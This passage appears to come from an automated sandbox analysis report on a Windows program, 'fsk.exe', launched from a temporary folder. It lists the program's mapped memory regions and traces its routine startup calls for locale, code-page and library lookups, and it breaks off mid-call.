"c:\\windows\\syswow64\\urlmon.dll") Region: id = 1497 start_va = 0x758b0000 end_va = 0x758e4fff entry_point = 0x758b0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 1498 start_va = 0x758f0000 end_va = 0x759dffff entry_point = 0x758f0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1499 start_va = 0x759e0000 end_va = 0x759ebfff entry_point = 0x759e0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 1500 start_va = 0x759f0000 end_va = 0x75a08fff entry_point = 0x759f0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1501 start_va = 0x75a10000 end_va = 0x75b04fff entry_point = 0x75a10000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 1502 start_va = 0x75b60000 end_va = 0x75bfcfff entry_point = 0x75b60000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1503 start_va = 0x75c00000 end_va = 0x75cabfff entry_point = 0x75c00000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1504 start_va = 0x75f10000 end_va = 0x7610afff entry_point = 0x75f10000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 1505 start_va = 0x76110000 end_va = 0x76155fff entry_point = 0x76110000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1506 start_va = 0x76160000 end_va = 0x762bbfff entry_point = 0x76160000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1507 start_va = 0x76380000 end_va = 0x7647ffff entry_point = 0x76380000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1508 start_va = 0x76540000 end_va = 0x7664ffff entry_point = 0x76540000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1509 start_va = 0x76650000 end_va = 0x7676cfff entry_point = 0x76650000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 1510 start_va = 0x76770000 end_va = 0x773b9fff entry_point = 0x76770000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 1511 start_va = 0x773c0000 end_va = 0x774defff entry_point = 0x0 region_type = private name = "private_0x00000000773c0000" filename = "" Region: id = 1512 start_va = 0x774e0000 end_va = 0x775d9fff entry_point = 0x0 region_type = private name = "private_0x00000000774e0000" filename = "" Region: id = 1513 start_va = 0x77790000 end_va = 0x77795fff entry_point = 0x77790000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1514 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1515 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1516 start_va = 0xbe0000 end_va = 0xd67fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000be0000" filename = "" Region: id = 1517 start_va = 0x75430000 end_va = 0x754fbfff entry_point = 0x75430000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1518 start_va = 0x75cb0000 end_va = 0x75d0ffff entry_point = 0x75cb0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1519 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1520 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1521 start_va = 0x80000 end_va = 0x81fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 1522 start_va = 0x1c0000 end_va = 0x1fffff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 1523 start_va = 0xd70000 end_va = 0xef0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d70000" filename = "" Region: id = 1524 start_va = 0x1220000 end_va = 0x261ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001220000" filename = "" Region: id = 1525 start_va = 0x270000 end_va = 0x34efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 1526 start_va = 0x190000 end_va = 0x1bdfff entry_point = 0x190000 region_type = mapped_file name = "muu=ksm" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\muu=ksm") Region: id = 1527 start_va = 0x190000 end_va = 0x1bdfff entry_point = 0x190000 region_type = mapped_file name = "muu=ksm" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\muu=ksm") Region: id = 1528 start_va = 0x2620000 end_va = 0x28eefff entry_point = 0x2620000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1530 start_va = 0x70000 end_va = 0x70fff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 1531 start_va = 0x75290000 end_va = 0x752a2fff entry_point = 0x75290000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 1532 start_va = 0xf00000 end_va = 0xf7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f00000" filename = "" Region: id = 1533 start_va = 0xf80000 end_va = 0x108ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f80000" filename = "" Region: id = 1534 start_va = 0x90000 end_va = 0x9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 1535 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1536 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1537 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1538 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1539 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1540 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1541 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1542 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1543 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1544 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1545 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1546 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1547 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1548 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1549 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1550 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1551 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1552 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1553 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1554 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1555 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1556 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1557 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1558 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1559 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1560 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1561 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1562 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1563 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1564 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1565 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1566 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1567 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1568 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1569 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1570 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1571 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1572 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1573 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1574 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1575 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1576 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1577 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1578 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1579 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1580 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1581 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1582 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1583 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1584 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1585 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1586 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1587 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1588 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1589 start_va = 0x90000 end_va = 0x97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1590 start_va = 0x28f0000 end_va = 0x2a7afff entry_point = 0x0 region_type = private name = "private_0x00000000028f0000" filename = "" Region: id = 1591 start_va = 0x28f0000 end_va = 0x2a7afff entry_point = 0x0 region_type = private name = "private_0x00000000028f0000" filename = "" Region: id = 1592 start_va = 0x28f0000 end_va = 0x2a7afff entry_point = 0x0 region_type = private name = "private_0x00000000028f0000" filename = "" Region: id = 1593 start_va = 0x28f0000 end_va = 0x2a04fff entry_point = 0x0 region_type = private name = "private_0x00000000028f0000" filename = "" Thread: id = 103 os_tid = 0xbc4 [0071.525] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x7afa98 | out: lpSystemTimeAsFileTime=0x7afa98*(dwLowDateTime=0xc596f620, dwHighDateTime=0x1d4c1ea)) [0071.525] GetCurrentThreadId () returned 0xbc4 [0071.525] GetCurrentProcessId () returned 0xbc0 [0071.525] QueryPerformanceCounter (in: lpPerformanceCount=0x7afa90 | out: lpPerformanceCount=0x7afa90*=1814862400000) returned 1 [0071.526] GetStartupInfoW (in: lpStartupInfo=0x7afa28 | out: lpStartupInfo=0x7afa28*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\fsk.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x777dfd35, hStdError=0x77847daf)) [0071.527] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76540000 [0071.528] GetProcAddress (hModule=0x76540000, lpProcName="FlsAlloc") returned 0x76554f2b [0071.528] GetProcAddress (hModule=0x76540000, lpProcName="FlsFree") returned 0x7655359f [0071.528] GetProcAddress (hModule=0x76540000, lpProcName="FlsGetValue") returned 0x76551252 [0071.528] GetProcAddress (hModule=0x76540000, lpProcName="FlsSetValue") returned 0x76554208 [0071.528] GetProcAddress (hModule=0x76540000, lpProcName="InitializeCriticalSectionEx") returned 0x76554d28 [0071.528] GetProcAddress (hModule=0x76540000, lpProcName="CreateEventExW") returned 0x765d410b [0071.529] GetProcAddress (hModule=0x76540000, lpProcName="CreateSemaphoreExW") returned 0x765d4195 [0071.529] GetProcAddress (hModule=0x76540000, lpProcName="SetThreadStackGuarantee") returned 0x7655d31f [0071.529] GetProcAddress (hModule=0x76540000, lpProcName="CreateThreadpoolTimer") returned 0x7656ee7e [0071.529] GetProcAddress (hModule=0x76540000, lpProcName="SetThreadpoolTimer") returned 0x7780441c [0071.529] GetProcAddress (hModule=0x76540000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7782c50e [0071.529] GetProcAddress (hModule=0x76540000, lpProcName="CloseThreadpoolTimer") returned 0x7782c381 [0071.529] GetProcAddress (hModule=0x76540000, lpProcName="CreateThreadpoolWait") returned 0x7656f088 [0071.529] GetProcAddress (hModule=0x76540000, lpProcName="SetThreadpoolWait") returned 0x778105d7 [0071.529] GetProcAddress (hModule=0x76540000, lpProcName="CloseThreadpoolWait") returned 0x7782ca24 [0071.529] GetProcAddress (hModule=0x76540000, lpProcName="FlushProcessWriteBuffers") returned 0x777e0b8c [0071.529] GetProcAddress (hModule=0x76540000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7789fde8 [0071.529] GetProcAddress (hModule=0x76540000, lpProcName="GetCurrentProcessorNumber") returned 0x77831e1d [0071.529] GetProcAddress (hModule=0x76540000, lpProcName="GetLogicalProcessorInformation") returned 0x765d4761 [0071.530] GetProcAddress (hModule=0x76540000, lpProcName="CreateSymbolicLinkW") returned 0x765ccd11 [0071.530] GetProcAddress (hModule=0x76540000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0071.530] GetProcAddress (hModule=0x76540000, lpProcName="EnumSystemLocalesEx") returned 0x765d424f [0071.530] GetProcAddress (hModule=0x76540000, lpProcName="CompareStringEx") returned 0x765d46b1 [0071.530] GetProcAddress (hModule=0x76540000, lpProcName="GetDateFormatEx") returned 0x765e6676 [0071.530] GetProcAddress (hModule=0x76540000, lpProcName="GetLocaleInfoEx") returned 0x765d4751 [0071.530] GetProcAddress (hModule=0x76540000, lpProcName="GetTimeFormatEx") returned 0x765e65f1 [0071.530] GetProcAddress (hModule=0x76540000, lpProcName="GetUserDefaultLocaleName") returned 0x765d47c1 [0071.530] GetProcAddress (hModule=0x76540000, lpProcName="IsValidLocaleName") returned 0x765d47e1 [0071.530] GetProcAddress (hModule=0x76540000, lpProcName="LCMapStringEx") returned 0x765d47f1 [0071.530] GetProcAddress (hModule=0x76540000, lpProcName="GetCurrentPackageId") returned 0x0 [0071.530] GetProcAddress (hModule=0x76540000, lpProcName="GetTickCount64") returned 0x7656eee0 [0071.530] GetProcAddress (hModule=0x76540000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0071.530] GetProcAddress (hModule=0x76540000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0071.531] GetCurrentThreadId () returned 0xbc4 [0071.531] GetStartupInfoW (in: lpStartupInfo=0x7af9f8 | out: lpStartupInfo=0x7af9f8*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\fsk.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1169cfd, hStdOutput=0x4a78bc94, hStdError=0x0)) [0071.531] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0071.531] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0071.531] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0071.531] GetCommandLineW () returned="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\fsk.exe\" muu=ksm " [0071.531] GetEnvironmentStringsW () returned 0x803190* [0071.532] FreeEnvironmentStringsW (penv=0x803190) returned 1 [0071.532] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1205ba8, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\fsk.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\fsk.exe")) returned 0x35 [0071.534] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0071.534] GetLastError () returned 0x0 [0071.534] SetLastError (dwErrCode=0x0) [0071.534] GetLastError () returned 0x0 [0071.534] SetLastError (dwErrCode=0x0) [0071.534] GetLastError () returned 0x0 [0071.534] SetLastError (dwErrCode=0x0) [0071.534] GetACP () returned 0x4e4 [0071.534] GetLastError () returned 0x0 [0071.534] SetLastError (dwErrCode=0x0) [0071.534] IsValidCodePage (CodePage=0x4e4) returned 1 [0071.534] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x7af9ec | out: lpCPInfo=0x7af9ec) returned 1 [0071.534] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x7af4b4 | out: lpCPInfo=0x7af4b4) returned 1 [0071.534] GetLastError () returned 0x0 [0071.534] SetLastError (dwErrCode=0x0) [0071.534] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x7af8c8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0071.534] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x7af8c8, cbMultiByte=256, lpWideCharStr=0x7af238, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0071.534] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x7af4c8 | out: lpCharType=0x7af4c8) returned 1 [0071.535] GetLastError () returned 0x0 [0071.535] SetLastError (dwErrCode=0x0) [0071.535] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x7af8c8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0071.535] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x7af8c8, cbMultiByte=256, lpWideCharStr=0x7af208, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0071.535] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0071.535] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x7aeff8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0071.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x7af7c8, cbMultiByte=256, lpDefaultChar=0x0, 